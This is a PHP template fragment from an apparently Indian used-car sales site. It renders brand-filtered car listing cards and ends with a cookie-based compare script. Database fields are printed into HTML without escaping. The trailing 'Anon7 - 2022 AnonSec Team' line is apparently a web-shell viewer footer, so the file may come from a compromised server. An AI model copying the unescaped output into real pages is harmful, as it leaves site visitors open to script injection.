                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p6.jpg"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= formatInr($varient['milage']) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p7.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['fuel_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button owner">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p8.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['no_of_owners'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['gear_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n6.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['insurance'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                            </ul>

                                                        </span>

                                                    </span>
                                                </li>
                                            </a>

                                        </div>

                                    </div>

                                <?php } ?>

                            </div>

                        <?php } else { ?>

                            <div class="error-page error-page1">

                                <div class="container">

                                    <div class="row">

                                        <div class="col-lg-12">

                                            <div class="error-wrapper">

                                                <div class="error-content-area text-center">

                                                    <h1>Coming Soon</h1>

                                                </div>

                                            </div>

                                        </div>

                                    </div>

                                </div>

                            </div>

                        <?php } ?>

                    </div>

                    <div class="tab-pane fade" id="hyundai" role="tabpanel" aria-labelledby="hyundai-tab">

                        <?php

                        $varient_filter_sql = "SELECT v.*, b.car_brand_name AS car_brand_name FROM car_varients as v INNER JOIN car_brands as b ON v.car_brand_id = b.car_brand_id WHERE b.car_brand_name = 'Hyundai' AND new_arrival = 'Yes'";

                        $varient_filter_stmt = $DB->prepare($varient_filter_sql);

                        $varient_filter_stmt->execute();

                        $varient_filter_rs = $varient_filter_stmt->fetchAll();

                        ?>

                        <?php if (!empty($varient_filter_rs)) { ?>

                            <div class="row g-4">

                                <?php foreach ($varient_filter_rs as $varient) { ?>

                                    <div class="col-xl-4 col-md-4 col-sm-12">

                                        <div class="listing-item new-arrival">

                                            <button class="fav1 compare-button"
                                                data-product-id="<?= $varient['car_varient_id'] ?>">

                                                <i class="bi bi-heart-fill"></i>

                                            </button>
                                            <a
                                                href="<?= MAIN_DIR ?>car-description/<?= $varient['car_varient_id'] ?>/<?= $varient['slug'] ?>">
                                                <li class="product-card1">
                                                    <span class="item-inner">

                                                        <div class="slider-group">
                                                            <?php if ($varient['booked'] === "YES") { ?>

                                                                <div class="booked-img"><img
                                                                        src="<?= MAIN_DIR ?>img/book-removebg-preview (1).png"
                                                                        alt="">

                                                                </div>

                                                            <?php } ?>
                                                            <div class="img-grpslider">

                                                                <div class="img-grp">
                                                                    <img src="<?= MAIN_DIR ?>static/<?= $varient['car_varient_image'] ?>"
                                                                        alt="<?= $varient['car_varient_name'] ?>">
                                                                </div>
                                                            </div>

                                                        </div>

                                                        <span class="cntnt-grp p-0">

                                                            <h6>

                                                                <?= $varient['car_brand_name'] ?>

                                                                <?= $varient['car_model_name'] ?>

                                                                <?= $varient['car_varient_name'] ?>

                                                            </h6>

                                                            <span class="price-modelname">

                                                                <div class="price-latest">

                                                                    <span class="total_price"
                                                                        sellamount="<?= $varient['discounted_price'] ?>">

                                                                        <?= '₹' . formatInr($varient['discounted_price']) ?>

                                                                    </span>

                                                                    <del>

                                                                        <?= '₹' . formatInr($varient['original_price']) ?>

                                                                    </del>

                                                                </div>

                                                                <span class="emiprice"><u>EMI STARTS @</u> <span>
                                                                        <?= emi_amount($varient['discounted_price']) ?>
                                                                    </span></span>

                                                            </span>

                                                            <ul class="list-items">

                                                                <li class="model s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= substr($varient['year'], 0, 4) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="kms s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p6.jpg"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= formatInr($varient['milage']) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p7.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['fuel_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button owner">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p8.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['no_of_owners'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['gear_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n6.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['insurance'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                            </ul>

                                                        </span>

                                                    </span>
                                                </li>
                                            </a>

                                        </div>

                                    </div>

                                <?php } ?>

                            </div>

                        <?php } else { ?>

                            <div class="error-page error-page1">

                                <div class="container">

                                    <div class="row">

                                        <div class="col-lg-12">

                                            <div class="error-wrapper">

                                                <div class="error-content-area text-center">

                                                    <h1>Coming Soon</h1>

                                                </div>

                                            </div>

                                        </div>

                                    </div>

                                </div>

                            </div>

                        <?php } ?>

                    </div>

                </div>

            </div>

        </div>

    </div>

</div>

<?php include "include/footer.inc.php" ?>


<script>
    document.addEventListener("DOMContentLoaded", () => {
        const compareButtons = document.querySelectorAll('.fav1.compare-button');
        const compareCountElement = document.getElementById('compare-count');
        const comparePageButton = document.getElementById('compare-page-button');

        // Initialize compared products from cookies
        let comparedProducts = getCookie('comparedProducts');
        try {
            comparedProducts = comparedProducts ? JSON.parse(decodeURIComponent(comparedProducts)) : [];
        } catch (e) {
            console.error('Error parsing comparedProducts cookie:', e);
            comparedProducts = [];
        }

        if (!Array.isArray(comparedProducts)) {
            comparedProducts = [];
        }

        console.log('comparedProducts:', comparedProducts);

        // Update initial compare count and button state on page load
        updateCompareButtonState();

        compareButtons.forEach(button => {
            const productId = button.dataset.productId;

            // Check if the product is already in the compare list
            if (comparedProducts.includes(productId)) {
                button.querySelector('i').style.color = 'red';
            }

            button.addEventListener('click', () => {
                if (button.querySelector('i').style.color === 'red') {
                    // Button is already selected, remove from compare
                    button.querySelector('i').style.color = 'white';

                    // Remove product from compare list
                    comparedProducts = comparedProducts.filter(id => id !== productId);
                } else {
                    // Button is not selected, add to compare
                    if (comparedProducts.length >= 3) {
                        alert('You can compare up to 3 products.');
                        return;
                    }
                    button.querySelector('i').style.color = 'red';

                    // Add product to compare list
                    comparedProducts.push(productId);
                }

                // Save compared products to cookies
                setCookie('comparedProducts', JSON.stringify(comparedProducts), 30); // 30 days expiration

                // Update compare count and button state in header
                updateCompareButtonState();
            });
        });

        function updateCompareButtonState() {
            compareCountElement.textContent = comparedProducts.length;

            // Enable or disable the compare button based on the number of products in the compare list
            if (comparedProducts.length >= 2) {
                comparePageButton.parentElement.setAttribute('href', '<?= MAIN_DIR ?>compare.php');
                comparePageButton.removeAttribute('disabled');
            } else {
                comparePageButton.parentElement.removeAttribute('href');
                comparePageButton.setAttribute('disabled', 'disabled');
            }
        }

        // Function to set a cookie
        function setCookie(name, value, days) {
            let expires = '';
            if (days) {
                let date = new Date();
                date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
                expires = "; expires=" + date.toUTCString();
            }
            document.cookie = name + "=" + (value || "") + expires + "; path=/";
        }

        // Function to get a cookie by name
        function getCookie(name) {
            let nameEQ = name + "=";
            let ca = document.cookie.split(';');
            for (let i = 0; i < ca.length; i++) {
                let c = ca[i];
                while (c.charAt(0) === ' ') {
                    c = c.substring(1, c.length);
                }
                if (c.indexOf(nameEQ) === 0) {
                    return c.substring(nameEQ.length, c.length);
                }
            }
            return null;
        }
    });
</script>

Anon7 - 2022
AnonSec Team